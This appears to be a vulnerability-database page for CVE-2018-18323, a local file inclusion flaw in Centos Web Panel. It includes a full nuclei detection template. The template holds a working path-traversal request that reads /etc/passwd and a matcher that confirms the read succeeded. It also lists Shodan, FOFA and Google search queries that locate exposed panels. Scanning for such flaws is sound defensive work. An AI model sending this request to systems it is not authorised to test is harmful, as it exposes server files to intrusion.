HexBrain

Browse / CVEs / CVE-2018-18323

CVE-2018-18323· control-webpanel / webpanel· CWE-22

Centos Web Panel 0.9.8.480 - Local File Inclusion

highseverity
7.5CVSS score
70.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Centos Web Panel version 0.9.8.480 suffers from local file inclusion vulnerabilities. Other vulnerabilities including cross-site scripting and remote code execution are also known to impact this version.

Impact

Successful exploitation of this vulnerability allows an attacker to read sensitive files on the server.

Fix

Upgrade to a patched version of Centos Web Panel.

How to confirm it

Send: GET {{BaseURL}}/admin/index.php?module=file_editor&file=/../../../../../../../../../../../etc/passwd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-18323 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-18323

info:
  name: Centos Web Panel 0.9.8.480 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Centos Web Panel version 0.9.8.480 suffers from local file inclusion vulnerabilities. Other vulnerabilities including cross-site scripting and remote code execution are also known to impact this version.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read sensitive files on the server.
  remediation: |
    Upgrade to a patched version of Centos Web Panel.
  reference:
    - https://packetstormsecurity.com/files/149795/Centos-Web-Panel-0.9.8.480-XSS-LFI-Code-Execution.html
    - http://centos-webpanel.com/
    - https://seccops.com/centos-web-panel-0-9-8-480-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18323
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-18323
    cwe-id: CWE-22
    epss-score: 0.70736
    epss-percentile: 0.99402
    cpe: cpe:2.3:a:control-webpanel:webpanel:0.9.8.480:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: control-webpanel
    product: webpanel
    shodan-query: http.title:"login | control webpanel"
    fofa-query: title="login | control webpanel"
    google-query: intitle:"login | control webpanel"
  tags: cve2018,cve,centos,lfi,packetstorm,control-webpanel,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/index.php?module=file_editor&file=/../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from